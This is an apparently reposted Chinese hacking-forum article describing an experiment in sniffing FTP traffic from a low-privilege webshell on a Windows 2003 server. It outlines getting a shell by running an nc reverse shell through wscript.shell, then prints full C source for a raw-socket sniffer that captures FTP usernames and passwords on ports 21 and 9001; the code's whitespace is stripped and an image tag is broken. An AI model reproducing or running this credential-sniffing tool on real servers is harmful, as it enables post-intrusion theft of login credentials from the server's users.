基于Webshell的sniffer可行性研究(图)
基于Webshell的sniffer可行性研究(图)
发布时间:2016-12-26 来源:查字典编辑
摘要:前言:幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不...

前言:

幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过.

我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的.

实验环境:

Windows2003服务器+海洋2006+serv-u5.2

服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令.

实验步骤:

1.利用wcript.shell执行nc反弹得到shell

2.利用自编写工具进行嗅探(我只嗅探21和9001,其中21为ftp,9001为反弹端口)

/*------------------------------------------------------

*FIle:SnifferFtp.c

*Effect:用于在webshell进行嗅探实验之用,基于Raw

*Code:Huai_Huai

*Page:Http://hhuai.cn

*Date:2006.1.12

*-----------------------------------------------------*/

#include<stdio.h>

#include<string.h>

#include"Winsock2.h"

#pragmacomment(lib,"WS2_32.lib")

#defineSIO_RCVALL_WSAIOW(IOC_VENDOR,1)

#defineSTATUS_FAILED0xFFFF

#defineMAX_PACK_LEN65535

#defineMAX_ADDR_LEN16

#defineMAX_HOSTNAME_LEN255

//定义ip报头

typedefstruct_iphdr

{

bytever_len;//版本4位,头长度4位,报头长度以32位为一个单位

bytetype;//类型8位

bytelength[2];//总长度,16位,指出报文的以字节为单位的总长度

//报文长度不能超过65536个字接,否则认为报文遭到破坏

byteid[2];//报文标示,用于多于一个报文16位

byteflag_offset[2];//标志,3位数据块偏移13位

bytetime;//生存时间,8位

byteprotocol;//协议,8位

bytecrc_val[2];//头校验和,16位

bytesrc_addr[4];//源地址,32位

bytetar_addr[4];//目标地址,32位

byteoptions[4];//选项和填充,32位

}IP_HEADER;

typedefstruct_tcphdr

{

bytesource_port[2];//发送端端口号,16位

bytedest_port[2];//接收端端口号,16位

bytesequence_no[4];//32位,标示消息端的数据位于全体数据块的某一字节的数字

byteack_no[4];//32位,确认号,标示接收端对于发送端接收到数据块数值

unsignedcharoffset_reser_con;//数据偏移4位,预留6位,控制位6为

unsignedcharth_flag;

bytewindow[2];//窗口16位

bytechecksum[2];//校验码,16位

byteurgen_pointer[2];//16位,紧急数据指针

byteoptions[3];//选祥和填充,32位

}TCP_HEADER;

#definePROTOCOL_ICMP1//传输控制协议

#definePROTOCOL_GTG3//Gateway-to-Gateway

#definePROTOCOL_CGMM4//CMCCGatewayMonitoringMessage

#definePROTOCOL_ST5//ST

#definePROTOCOL_TCP6//传输控制协议

#definePROTOCOL_UCL7//UCL

#definePROTOCOL_SECURE9//secure

#definePROTOCOL_BRM10//BBNRCCMonitoring

#definePROTOCOL_NVP11//NVp

#definePROTOCOL_PUP12//PUP

#definePROTOCOL_PLURIBUS13//Pluribus

#definePROTOCOL_TELENET14//Telenet

#definePROTOCOL_XNET15//XNET

#definePROTOCOL_CHAOS16//Chaos

#definePROTOCOL_UDP17//UDP

#definePROTOCOL_MULTIPLEXING18//Multiplexing

#definePROTOCOL_DCN19//DCN

#definePROTOCOL_TAC_MONITORING20//TACMonitoring

#definePROTOCOL_ALN63//anylocalnetwork

#definePROTOCOL_SATNET64//SATNETandBackroomEXPAK

#definePROTOCOL_MITSS65//MITSubnetSupport

#definePROTOCOL_SATNET_MONIT69//SATNETMonitoring

#definePROTOCOL_IPCU71//InternetPacketCoreUtility

#definePROTOCOL_BK_SATNET_MONI76//BackroomSATNETMonitoring

#definePROTOCOL_WIDEBAND_MONI78//WIDEBANDMonitoring

#definePROTOCOL_WIDEBAND_EXPAK79//WIDEBANDEXPAK

SOCKETSocketRaw;

voidstartsniffer()

{

charRecvBuf[MAX_PACK_LEN]={0};

charFARname[MAX_HOSTNAME_LEN];

WSADATAwsa;

structhostentFAR*pHostent;

SOCKADDR_INsa;

DWORDOutBuffer[10];

DWORDInBuffer=1;

DWORDBytesReturned=0;

if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)

{

printf("不能加载WinsockDLL!");

exit(0);

}

SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

if(SocketRaw==INVALID_SOCKET)

{

printf("不能创建Socket!");

exit(0);

}

gethostname(name,MAX_HOSTNAME_LEN);

//这里会自动分配内存

pHostent=gethostbyname(name);

sa.sin_family=AF_INET;

sa.sin_port=htons(6000);

memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],pHostent->h_length);

if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)

{

printf("不能绑定网卡!");

closesocket(SocketRaw);

exit(0);

}

if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),

&OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)

{

printf("不能创建WSAIoctl!");

closesocket(SocketRaw);

exit(0);

}

}

intReceiveBuf(byte*buf,intlen)

{

returnrecv(SocketRaw,(char*)buf,len,0);

}

voidmain()

{

intlen;

byteRecvBuf[65535];

charbuf[16];

intiphdr_len;

TCP_HEADER*pTcpHeader;

unsigned__int16src_port;

unsigned__int16dest_port;

intHdrLen;

__int16datalen;

IP_HEADER*pIpheader;

intport1,port2;

startsniffer();

while(TRUE)

{

port1=port2=0;

memset(RecvBuf,0,65535);

len=ReceiveBuf(RecvBuf,65535);

if(len>0)

{

pIpheader=(IP_HEADER*)RecvBuf;

/*

switch(pIpheader->protocol)

{

casePROTOCOL_ICMP:

printf("ICMP");

break;

casePROTOCOL_TCP:

printf("TCP");

break;

casePROTOCOL_UDP:

printf("UDP");

break;

default:

printf("其他协议");

break;

}

*/

if(pIpheader->protocol==PROTOCOL_TCP)

{

iphdr_len=(pIpheader->ver_len&0xf)*4;

pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);

src_port=pTcpHeader->source_port[0]*0x100+pTcpHeader->source_port[1];

dest_port=pTcpHeader->dest_port[0]*0x100+pTcpHeader->dest_port[1];

memset(buf,0,16);

sprintf(buf,"%d",src_port);

port1=src_port;

//printf("%s",buf);

memset(buf,0,16);

sprintf(buf,"%d",dest_port);

port2=dest_port;

//printf("%s",buf);

if(port1==21||port2==21||port1==9001||port2==9001)

{

HdrLen=(pTcpHeader->offset_reser_con)>>2;

memset(buf,0,16);

sprintf(buf,"%s",((BYTE*)pTcpHeader)+HdrLen);

//printf("%s",buf);

memset(buf,0,16);

sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],pIpheader->src_addr[1],pIpheader->src_addr[2],pIpheader->src_addr[3]);

//printf("%s",buf);

memset(buf,0,16);

sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],pIpheader->tar_addr[1],pIpheader->tar_addr[2],pIpheader->tar_addr[3]);

//printf("%s",buf);

datalen=pIpheader->length[0]*0x100+pIpheader->length[1];

memset(buf,0,16);

sprintf(buf,"%d",datalen);

//printf("%s",buf);

HdrLen=(pTcpHeader->offset_reser_con)>>2;

memset(buf,0,16);

sprintf(buf,"%s",((BYTE*)pTcpHeader)+HdrLen);

printf("%s",buf);

//printf("n");

}

}

}

}

}

3.嗅探结果:

=800)window.open(’/pic/22/a2006-3-1-621a6f.jpg’);"src="/college/UploadPic/2006/8/27/2006827234138485.jpg"onload="if(this.width>800)this.width=800;if(this.height>800)this.height=800;"border=0>

4.实验小结:

确实可以嗅到一些信息,在本机winxpsp2可以嗅到ftp密码,但在win2003服务器上运行,就只能嗅到用户名,利用webshell执行的也可以嗅到用户名,一些操作,比如用户目录什么的.

我们的webshell权限可以非常的低,只要能利用wscript.shell就行.

其中有许多细节,需以后仔细的研究,万望论坛的高手能给予一点提示.(来源:邪恶八进制信息安全团队作者:坏坏)

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类